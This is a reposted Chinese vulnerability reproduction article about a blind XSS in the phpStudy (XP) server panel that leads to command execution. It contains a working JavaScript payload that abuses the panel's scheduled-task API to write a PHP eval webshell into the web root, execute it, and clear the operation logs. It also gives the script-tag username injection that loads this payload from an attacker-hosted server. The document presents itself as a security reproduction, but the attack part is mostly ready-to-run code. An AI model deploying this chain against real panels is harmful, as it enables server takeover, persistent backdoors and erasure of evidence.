phpstudy面板XSS盲打_计划任务RCE漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 phpstudy面板XSS盲打_计划任务RCE漏洞

0x01 阅读须知

0x02 漏洞描述

PhpStudy国内12年老牌公益软件，集安全、高效、功能与一体，已获得全球用户认可安装，运维也高效。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。PhpStudy面板存在XSS盲打漏洞，攻击者可以JS调用面板中的计划任务执行系统命令。

0x03 漏洞复现

1.python开启一个8端口的web，放入poc.js，内容为使用小皮面板的计划任务写入网站根目录1.php（需根据实际路径写入webshell）

function poc(){
  $.get(\'/service/app/tasks.php?type=task_list\',{},function(data){
    var id=data.data[0].ID;
    $.post(\'/service/app/tasks.php?type=exec_task\',{
      tid:id
    },function(res2){
        $.post(\'/service/app/log.php?type=clearlog\',{
            
        },function(res3){},\"json\");
        
      
    },\"json\");
  },\"json\");
}
function save(){
  var data=new Object();
  data.task_id=\"\";
  data.title=\"w\";
  data.exec_cycle=\"1\";
  data.week=\"1\";
  data.day=\"3\";
  data.hour=\"14\";
  data.minute = \"20\";
  data.shell=\'echo \"<?php @eval($_POST[123]);?>\" > D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php\';
  $.post(\'/service/app/tasks.php?type=save_shell\',data,function(res){
    poc();
  },\'json\');
}
save();

2.用户名输入如下payload，密码任意登录两次（登录一次面板有时候会不显示）

<script src=http://127.0.0.1:8/poc.js></script>

3.当管理员进入了首页或者操作日志，即可执行计划任务写入webshell（注：360会阻止写入.php的文件）